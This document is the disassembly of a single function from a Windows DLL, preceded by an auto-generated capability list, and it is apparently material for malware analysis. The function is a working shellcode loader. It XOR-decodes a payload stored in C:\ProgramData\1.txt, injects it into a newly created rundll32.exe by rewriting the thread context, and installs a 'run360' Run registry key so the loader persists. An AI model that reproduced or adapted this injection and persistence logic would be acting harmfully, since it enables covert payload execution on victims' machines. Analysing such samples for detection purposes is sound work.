Function at 0x180003550
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Persist via run registry key
Print debug messages
Query or enumerate registry value
Resume thread
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x1000
call fcn.1800088a0
sub rsp, rax
mov rax, qword [0x18000e008]
xor rax, rsp
mov qword [rsp + 0xff0], rax
cmp edx, 1
jne 0x18000464b
xor edi, edi
mov qword [rsp + 0x280], rdi
mov qword [rsp + 0x290], rdi
mov qword [rsp + 0x298], 0xf
mov byte [rsp + 0x280], dil
lea r8d, [rdx + 0x13]
lea rdx, str.C:ProgramData1.txt
lea rcx, [rsp + 0x280]
call fcn.180005ac0
nop
lea rax, [rsp + 0x280]
cmp qword [rsp + 0x298], 0x10
cmovae rax, qword [rsp + 0x280]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x278], rax
call fcn.1800071bc
movaps xmm0, xmmword [rsp + 0x270]
movdqa xmmword [rsp + 0x1a0], xmm0
lea r8, [rsp + 0x1a0]
mov edx, eax
lea rcx, [rsp + 0xb8]
call fcn.180001990
nop
lea rcx, [rsp + 0xb8]
cmp qword [rsp + 0xd0], 8
cmovae rcx, qword [rsp + 0xb8]
mov r9d, 0xffffffff
lea r8d, [rdi + 3]
lea rdx, [rsp + 0x310]
call fcn.1800075fc
mov edx, eax
test eax, eax
jne 0x1800036a1
mov ecx, dword [rsp + 0x320]
bt ecx, 0xa
jae 0x180003696
mov eax, dword [rsp + 0x324]
cmp eax, 0xa000000c
jne 0x180003688
lea ecx, [rdi + 4]
jmp 0x1800036be
cmp eax, 0xa0000003
jne 0x180003696
mov ecx, 0xa
jmp 0x1800036be
and ecx, 0x10
or ecx, 0x20
shr ecx, 4
jmp 0x1800036be
sub eax, 2
je 0x1800036b9
sub eax, 1
je 0x1800036b9
sub eax, 0x32
je 0x1800036b9
cmp eax, 0x46
je 0x1800036b9
xor al, al
jmp 0x1800036bb
mov al, 1
movzx ecx, al
mov dword [rsp + 0x140], edx
lea rdx, [0x18000e038]
mov qword [rsp + 0x148], rdx
movaps xmm0, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0x270], xmm0
test ecx, ecx
je 0x180003702
mov eax, edi
mov dword [rsp + 0x270], eax
mov qword [rsp + 0x278], rdx
cmp ecx, 1
sete bl
jmp 0x18000370b
mov bl, 1
mov eax, dword [rsp + 0x270]
test eax, eax
jne 0x180004682
mov rdx, qword [rsp + 0xd0]
cmp rdx, 8
jb 0x18000375e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003759
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180003759
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800079ac
test bl, bl
je 0x1800038f1
lea rax, [rsp + 0x280]
cmp qword [rsp + 0x298], 0x10
cmovae rax, qword [rsp + 0x280]
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x248], rax
call fcn.1800071bc
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x1b0], xmm0
lea r8, [rsp + 0x1b0]
mov edx, eax
lea rcx, [rsp + 0xd8]
call fcn.180001990
nop
lea rax, str.1.txt
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x248], 5
call fcn.1800071bc
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x1c0], xmm0
lea r8, [rsp + 0x1c0]
mov edx, eax
lea rcx, [rsp + 0x58]
call fcn.180001990
nop
lea rdx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 8
cmovae rdx, qword [rsp + 0xd8]
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rcx, qword [rsp + 0x58]
mov r8d, 2
call fcn.1800072f8
shr rax, 0x20
test eax, eax
jne 0x180004698
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x180003893
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000388e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000388e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800079ac
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], di
mov rdx, qword [rsp + 0xf0]
cmp rdx, 8
jb 0x1800038f1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800038ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800038ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800079ac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x2f0], rax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x2e0]
call fcn.180003090
nop
mov r13, qword [rsp + 0x2e8]
sub r13, qword [rsp + 0x2e0]
mov r8d, 0x104
lea rdx, [rsp + 0xcd0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rsp + 0xf8], rdi
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], 0xf
lea rax, [rsp + 0xcd0]
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x180003970
lea rdx, [rsp + 0xcd0]
lea rcx, [rsp + 0xf8]
call fcn.180005ac0
lea rdi, [rsp + 0xf8]
mov r14, qword [rsp + 0x110]
cmp r14, 0x10
setae r12b
mov rsi, qword [rsp + 0xf8]
cmovae rdi, rsi
mov qword [rsp + 0x250], r15
mov rbx, qword [rsp + 0x108]
test rbx, rbx
je 0x180003a3b
xor edx, edx
mov r8d, 0x100
lea rcx, [rsp + 0xac0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x1800099a8]
lea rdx, [0x1800099aa]
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rsp + rax + 0xac0], 1
inc rcx
cmp rcx, rdx
jne 0x1800039f0
lea rax, [rbx - 1]
mov rbx, r15
cmp rax, rbx
cmovb rbx, rax
add rbx, rdi
movzx eax, byte [rbx]
cmp byte [rsp + rax + 0xac0], 0
jne 0x180003a36
cmp rbx, rdi
je 0x180003a3b
dec rbx
movzx eax, byte [rbx]
cmp byte [rsp + rax + 0xac0], 0
je 0x180003a21
sub rbx, rdi
jmp 0x180003a3e
mov rbx, r15
test r12b, r12b
je 0x180003a77
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180003a6f
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180003a6f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.1800079ac
xor r12d, r12d
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x88], r12
mov qword [rsp + 0x90], 0xf
mov byte [rsp + 0x78], r12b
lea rax, [rsp + 0xcd0]
mov r8, r15
inc r8
cmp byte [rax + r8], r12b
jne 0x180003aa3
lea rdx, [rsp + 0xcd0]
lea rcx, [rsp + 0x78]
call fcn.180005ac0
nop
mov qword [rsp + 0x2c0], r12
mov qword [rsp + 0x2d0], r12
mov qword [rsp + 0x2d8], 0xf
mov byte [rsp + 0x2c0], 0
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x2f8], rax
cmp rax, rbx
cmovb rbx, rax
lea rdx, [rsp + 0x78]
cmp qword [rsp + 0x90], 0x10
cmovae rdx, qword [rsp + 0x78]
mov r8, rbx
lea rcx, [rsp + 0x2c0]
call fcn.180005ac0
nop
mov rdx, qword [rsp + 0x90]
cmp rdx, 0x10
jb 0x180003b5f
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003b5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004521
call fcn.1800079ac
mov qword [rsp + 0x2a0], r12
mov qword [rsp + 0x2b0], r12
mov qword [rsp + 0x2b8], 0xf
mov byte [rsp + 0x2a0], 0
mov r8d, 4
lea rdx, str..exe
lea rcx, [rsp + 0x2a0]
call fcn.180005ac0
nop
lea rax, [rsp + 0x2c0]
cmp qword [rsp + 0x2d8], 0x10
cmovae rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x248], rax
call fcn.1800071bc
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x1d0], xmm0
lea r8, [rsp + 0x1d0]
mov edx, eax
lea rcx, [rsp + 0x170]
call fcn.180001990
nop
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x240], xmm0
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x240]
call fcn.180005e10
test eax, eax
jne 0x1800046ad
mov rdx, qword [rsp + 0x188]
cmp rdx, 8
jb 0x180003c72
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003c6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180003c6d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800079ac
xorps xmm0, xmm0
movups xmmword [rsp + 0x260], xmm0
mov rcx, qword [rsp + 0x248]
test rcx, rcx
je 0x180003c8e
lock inc dword [rcx + 8]
movaps xmm0, xmmword [rsp + 0x240]
movdqa xmmword [rsp + 0x260], xmm0
mov rcx, qword [rsp + 0x248]
test rcx, rcx
je 0x180003cb0
lock inc dword [rcx + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x300], xmm0
mov qword [rsp + 0x300], r12
mov qword [rsp + 0x308], r12
mov rcx, qword [rsp + 0x248]
test rcx, rcx
je 0x180003d11
mov eax, r15d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x180003d11
mov rbx, qword [rsp + 0x248]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x180003d11
mov rcx, qword [rsp + 0x248]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rsi, qword [rsp + 0x260]
nop dword [rax]
mov rdi, r12
test rsi, rsi
je 0x180003fa7
lea rax, [rsp + 0x2a0]
cmp qword [rsp + 0x2b8], 0x10
cmovae rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x158], rax
call fcn.1800071bc
movaps xmm0, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x1e0], xmm0
lea r8, [rsp + 0x1e0]
mov edx, eax
lea rcx, [rsp + 0x118]
call fcn.180001990
nop
lea r14, [rsi + 0x20]
mov rax, qword [r14 + 0x10]
mov rcx, r14
cmp qword [r14 + 0x18], 8
jb 0x180003da1
mov rcx, qword [r14]
lea rbx, [rcx + rax*2]
mov r11, rbx
mov rdx, rbx
call fcn.180001af0
cmp rax, rbx
je 0x180003ded
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x180003dc4
cmp cx, 0x2f
jne 0x180003dd2
add rax, 2
cmp rax, rbx
jne 0x180003db5
mov r8, rbx
jmp 0x180003e42
lea rdx, [r11 - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x180003ded
cmp cx, 0x2f
je 0x180003ded
mov r11, rdx
cmp rax, rdx
jne 0x180003dd2
mov r8, r11
cmp r11, rbx
je 0x180003e42
cmp word [r8], 0x3a
je 0x180003e05
add r8, 2
cmp r8, rbx
jne 0x180003df5
cmp r11, r8
je 0x180003e42
lea rdx, [r8 - 2]
cmp r11, rdx
je 0x180003e42
cmp word [rdx], 0x2e
jne 0x180003e2a
lea rax, [rdx - 2]
cmp r11, rax
jne 0x180003e45
cmp word [rax], 0x2e
jne 0x180003e45
jmp 0x180003e42
sub rdx, 2
cmp r11, rdx
je 0x180003e42
cmp word [rdx], 0x2e
je 0x180003e45
sub rdx, 2
cmp r11, rdx
jne 0x180003e33
mov rdx, r8
sub r8, rdx
sar r8, 1
mov qword [rsp + 0x98], r12
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0xb0], 7
lea rcx, [rsp + 0x98]
call fcn.180005940
lea rax, [rsp + 0x118]
mov rbx, qword [rsp + 0x118]
mov rdi, qword [rsp + 0x130]
cmp rdi, 8
cmovae rax, rbx
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x168], rax
movaps xmm0, xmmword [rsp + 0x160]
movdqa xmmword [rsp + 0x1f0], xmm0
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x98]
call fcn.180001ee0
mov r12d, eax
mov rdx, qword [rsp + 0xb0]
cmp rdx, 8
jb 0x180003f30
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003f1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180003f1b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800079ac
mov rdi, qword [rsp + 0x130]
mov rbx, qword [rsp + 0x118]
xor eax, eax
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 7
mov word [rsp + 0x98], ax
cmp rdi, 8
jb 0x180003f8c
lea rdx, [rdi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x180003f84
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180003f84
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1800079ac
test r12d, r12d
jne 0x180004340
cmp qword [r14 + 0x18], 8
jb 0x180003f9f
mov r14, qword [r14]
movzx edi, word [r14 + 2]
xor r12d, r12d
mov rcx, qword [rsp + 0x268]
test rcx, rcx
je 0x180003fed
mov eax, r15d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x180003fed
mov rbx, qword [rsp + 0x268]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x180003fed
mov rcx, qword [rsp + 0x268]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rcx, qword [rsp + 0x248]
test rcx, rcx
je 0x180004032
mov eax, r15d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x180004032
mov rbx, qword [rsp + 0x248]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x180004032
mov rcx, qword [rsp + 0x248]
mov rax, qword [rcx]
call qword [rax + 8]
mov rsi, qword [rsp + 0x2e0]
add rsi, 0xffffffffffffffc6
add rsi, rdi
movsxd rcx, r13d
call fcn.1800079b4
mov r14, rax
mov ecx, 0x3039
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
test r13d, r13d
jle 0x180004083
mov rbx, r14
sub rsi, r14
mov edi, r13d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r13d
inc dl
xor dl, byte [rsi + rbx]
xor dl, 0x39
mov byte [rbx], dl
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x180004065
mov edi, r13d
mov r9d, 0x40
mov r8d, 0x3000
mov edx, r13d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov r8d, r13d
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x334], xmm0
movups xmmword [rsp + 0x344], xmm0
movups xmmword [rsp + 0x354], xmm0
movups xmmword [rsp + 0x364], xmm0
movups xmmword [rsp + 0x374], xmm0
movups xmmword [rsp + 0x384], xmm0
mov dword [rsp + 0x394], eax
mov dword [rsp + 0x330], 0x68
lea rax, [rsp + 0x220]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x330]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.rundll32.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1800041ec
mov dword [rsp + 0x620], 0x10000b
lea rdx, [rsp + 0x5f0]
mov rcx, qword [rsp + 0x228]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, edi
xor edx, edx
mov rcx, qword [rsp + 0x220]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov qword [rsp + 0x20], r12
mov r9d, edi
mov r8, rsi
mov rdx, rax
mov rcx, qword [rsp + 0x220]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x6e8], rbx
lea rdx, [rsp + 0x5f0]
mov rcx, qword [rsp + 0x228]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x228]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x228]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x220]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x250]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1800044c8
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0xde0]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x2f8], 0x208
lea rax, [rsp + 0x2f8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xde0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.run360
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180004416
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0xac0]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rsp + 0xac0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rsp + 0xde0]
lea r8, [rsp + 0xac0]
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1800042d4
add rax, 2
test ecx, ecx
jne 0x1800042c0
test edx, edx
je 0x18000440a
lea rax, [rsp + 0xac0]
lea r15, [r15 + 1]
cmp word [rax + r15*2], 0
jne 0x1800042e4
lea eax, [r15*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0xac0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.run360
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1800043fe
lea rcx, str.Failed_to_set_registry_key._n
jmp 0x1800044b2
lea rdx, [rsp + 0x3a0]
mov rcx, qword [rsi + 0x40]
call fcn.180007514
cmp eax, 0x12
je 0x18000439f
test eax, eax
jne 0x1800046bd
cmp word [rsp + 0x3cc], 0x2e
jne 0x180004387
movzx eax, word [rsp + 0x3ce]
test ax, ax
je 0x180004340
cmp ax, 0x2e
jne 0x180004387
cmp word [rsp + 0x3d0], 0
je 0x180004340
lea rdx, [rsp + 0x3a0]
mov rcx, rsi
call fcn.180002e50
xor r12d, r12d
jmp 0x180003d20
xor r12d, r12d
mov esi, r12d
mov qword [rsp + 0x260], r12
mov rbx, qword [rsp + 0x268]
mov qword [rsp + 0x268], r12
test rbx, rbx
je 0x180003d20
mov eax, r15d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x180003d11
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x180003d11
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
jmp 0x180003d11
lea rcx, str.Registry_key_updated_successfully._n
jmp 0x1800044b2
lea rcx, str.Registry_key_already_exists_and_is_correct._n
jmp 0x1800044b2
cmp eax, 2
jne 0x1800044ab
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0xac0]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rsp + 0xac0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rsp + 0xac0]
lea r15, [r15 + 1]
cmp word [rax + r15*2], 0
jne 0x180004452
lea eax, [r15*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0xac0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.run360
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1800044a2
lea rcx, str.Failed_to_set_registry_key._n
jmp 0x1800044b2
lea rcx, str.Registry_key_created_successfully._n
jmp 0x1800044b2
lea rcx, str.Failed_to_query_registry_key._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1800044d5
lea rcx, str.Failed_to_open_registry_key._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rdx, qword [rsp + 0x2b8]
cmp rdx, 0x10
jb 0x18000452d
inc rdx
mov rcx, qword [rsp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004528
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180004528
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800079ac
mov qword [rsp + 0x2b0], r12
mov qword [rsp + 0x2b8], 0xf
mov byte [rsp + 0x2a0], 0
mov rdx, qword [rsp + 0x2d8]
cmp rdx, 0x10
jb 0x18000458f
inc rdx
mov rcx, qword [rsp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000458a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000458a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800079ac
mov qword [rsp + 0x2d0], r12
mov qword [rsp + 0x2d8], 0xf
mov byte [rsp + 0x2c0], 0
mov rcx, qword [rsp + 0x2e0]
test rcx, rcx
je 0x180004604
mov rdx, qword [rsp + 0x2f0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800045eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800045eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800079ac
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x2f0], r12
mov rdx, qword [rsp + 0x298]
cmp rdx, 0x10
jb 0x18000464b
inc rdx
mov rcx, qword [rsp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004645
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180004645
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800079ac
nop
mov eax, 1
mov rcx, qword [rsp + 0xff0]
xor rcx, rsp
call fcn.180007950
lea r11, [rsp + 0x1000]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea r8, [rsp + 0xb8]
lea rdx, [rsp + 0x270]
call fcn.180002c50
nop
lea r9, [rsp + 0xd8]
lea r8, [rsp + 0x58]
mov edx, eax
call fcn.180002bd0
nop
lea r8, [rsp + 0x170]
mov edx, eax
call fcn.180002b60
nop
mov edx, eax
call fcn.180002a70
int3